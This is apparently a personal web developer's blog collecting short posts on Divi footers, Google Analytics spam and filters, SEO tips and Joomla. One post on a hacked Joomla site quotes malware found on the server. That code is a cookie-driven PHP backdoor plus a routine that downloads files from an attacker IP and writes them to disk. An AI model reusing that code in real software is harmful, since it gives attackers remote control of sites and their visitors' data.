WordPress Divi Footer From Search Engines Yoast

Working on new WordPress site using the Divi theme. I had found a video on creating a custom footer by creating a page and that page becomes an element you can save in your Divi library to be reused. I made a footer and added to each page.

The problem came when I was reviewing the analytics after a month. “Footer” was one of the pages listed by Google and indexed by Google.

I discover that I can disable search engines from tracking the Divi Elements / Pages. Go to that element / page. In my case it was the “Footer” element. This element is a page built with the Divi builder. This is what it looked like.

At the top of the page is my Yoast settings. There are 3 tabs on the left side. Click on the gear icon and you will see where to turn this off.

 

I hope this helps someone else out there….

 

 

Google Analytics Not Displaying Full Page

Using Firefox I went into Google Analytics to see the results on a website recently launched and want to see if the SEO was going as planned. When I clicked on “landing pages” I was getting a double scroll on the right-side, and I couldn’t scroll down to the bottom of the results pane. It looked like this….

A search lead me to trying Chrome where it did work. Suggestion were to try this page “https://www.google.com/intl/en/analytics/”, but that was no help.

I resolved this issue by resizing the browser window. Grabbed one corner to adjust the size of the window and content on the page resized its self.

I hope this helps someone else out there…

 

Google Anayltics Spam – Secret.ɢoogle.com You are invited! Enter only with this ticket URL. Copy it. Vote for Trump!

At first I thought I was going to get a bunch of photography business when I saw I got 149 visits in the past month to my photography website. I went to analyze the traffic and saw the following in the language section of my dashboard.

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I looked at GEO location, and saw this.

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Here are the channels for the month.

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Interesting part was there were 0 queries for the month.

Wierd, but I think diffinely a Russian attack on my site leading to bad usage of my website.

I hope this entertained someone else out there…

Comment if you had the same thing happen to your site.

 

 

 

Getting Google to crawl your site

hope While working on our Analytics today I realized Google hasn’t crawled one page in a couple of years. I changed the description in the spring of 2015 and in the Fall of 2016 Google’s index still shows the old data.

I did what I could with the Robots.txt file and adding a new sitemap.xml. Just to make sure I wanted Google to crawl my site again. I did a fetch and render on the one page. In the meantime I went looking for what others are doing .

I came across this video. It is simple and easy. Not sure exactly how affective yet, but a good place to start.

 

I hope this helps someone else out there….

 

Joomla SEO – Cloud Access.net’s guide

I am working on a site’s SEO. In June I did what I thought was a good process

  1. Adjust the page titles
  2. Adjust the page discriptions
  3. Set SEF title and Mod ReWrite

But now in September I feel like there is a significant drop off; although, the traffic seems to be better traffic. The numbers don’t assure me that my techniques were good.

 

I stumbbled upon this video by CloudAccess.
https://www.youtube.com/watch?v=Y5et1JZ3BjY

They recommend using Google Adwords tool.
Google AdWords Keyword Tool 

 

Here is a link to Cloud Access’s Guide to SEO.

http://www.cloudaccess.net/additional-resources/56-search-engine-optimization-seo.html

I am going to review this and see if it helps.

 

They used pingdom.com to test load times of their pages.

 

I also came across this video from a Joomla Day

This guy really recommend sh404SEF.

He also schooled me on CDN (content delivery network) – for distributing your images across different servers around the world so when your site is accessed from someone far away they will be pulling the images from a server that is closer to them.

I hope this helps someone else out there…

 

 

Hacked Joomla 3.6.2 site – cms brute rmf 3.0.zip file found in Godaddy hosting.

Had a recent Joomla 3.6.2 install go blank. Site was fine one day and the next it was unreachable.

I FTP’ed into the site and I see WordPress folders in there and other strange files. There was a zip file called “cms brute rmf 3.0.zip”. Thre were odd PHP files such a “ebb6bff35a.php”. Look like an attack for sure. The PHP file was extremely complex.

The file “ebb6bff35a.php” starts out by grabbing the id set in a cookie for “user id” then points back the following ip with the cookie information. This IP stems from Belize.

if (isset($_COOKIE[“id”])) @$_COOKIE[“user”]($_COOKIE[“id”]);

if( isset($_REQUEST[“test_url”]) ){

echo “file test okay”; }

$f =$_GET[“d”];

$id=$f;

$current = file_get_contents(“http://80.87.205.79/$f”);

file_put_contents($id, $current);

if (!defined(‘PCLZIP_READ_BLOCK_SIZE’)) {

define( ‘PCLZIP_READ_BLOCK_SIZE’, 2048 );

}

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Hopefully I can figure out what happen, but I am worried about security for sure.

 

After contacting Godaddy it looks like a complete attack. Uploaded PHP files, directories were created, and I didn’t get to check the database. Had to do a GoDaddy account reset and restore from an Akeeba backup.

The backup didn’t go well I got the following error.

akeeba_ajax_error

I followed the instructions on this page.

https://www.akeebabackup.com/documentation/troubleshooter/kscantextract.html

I had to create the “kicktemp” folder. Set the permissions to 777.  Set the type of install to FTP. For the root directory I had to use “/”.  Make sure to test the FTP connection.

The Kickstart restore took about 25 minutes to restore.

Here are the specs on the site.

  • Joomla 3.6.2
  • JCE
  • Akeeba
  • Chronoforms
  • JO Facebook Events Pro
  • Hot Themes Hot Fitness template.

One of the worst parts of this whole debacle is their SEO. The site was live for a month before the attack and the analytics were clicking along nicely. The site was getting around 300 plus hits a in the first month with around 100 key word matches.

During the attack the number of key word matches jumped to 16,000 matches and incredibility junky results.

analytics

This is a running store and have nothing to do with “sexy turkey”.  This all happened in just a few days. I really hope this doesn’t offend Google and they decide to block the site.

I hope this helps someone else out there…

 

Follow up:

A month later after this attack I looked at all of the directories and found no trace of another attack.

Tracking Clicks, Downloads and Other Events in Joomla

I have really come to enjoy OSTraining.com and all their work with Joomla. While looking at a customers website they wanted to upgrade I saw in the database the guy before me wrote special code to handle “impressions” and “clicks”. It got me curious and wanted to see how I could do this in my Joomla proposal.

In my google search I found what I was looking for, but a listing above the one I used mentioned similar details so I clicked on it. Not to mention it was OSTraining and I have been liking the extensions.

The link was fascinating. I read through the following article and can’t wait to try it.

https://www.ostraining.com/blog/joomla/google-analytics-events/

I hope this helps someone else out there…

 

I am getting this in my Google Analytics reports.

please enter the email address for your account. a verification code will be sent to you. once you have received the verification code, you will be able to choose a new password for your account.

Does anyone know what to do about this?

 

 

Filter Google Analytics by Geo Location such as United States Only

We run Analytics for companies that only operate in the US, so when I see 51 hits from Russia it is worthless to my customers. The answer is to filter their results so we can really understand their web traffic.

Here is how I set it up.

  1. Go into the Analytics account and click on the “Admin” tab at the top, and select “Filters” under the “View” section.
    analytics_1
  2. Click “Add Filter”.
    analytics_2
  3. Hit the “Custom” button, check “Exclude”, and the “Select Field”.
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  4. Scroll down and select “Country”.
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  5. Then type in “United States”, click “Save”.
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You’re done!

I hope this helps someone else out there…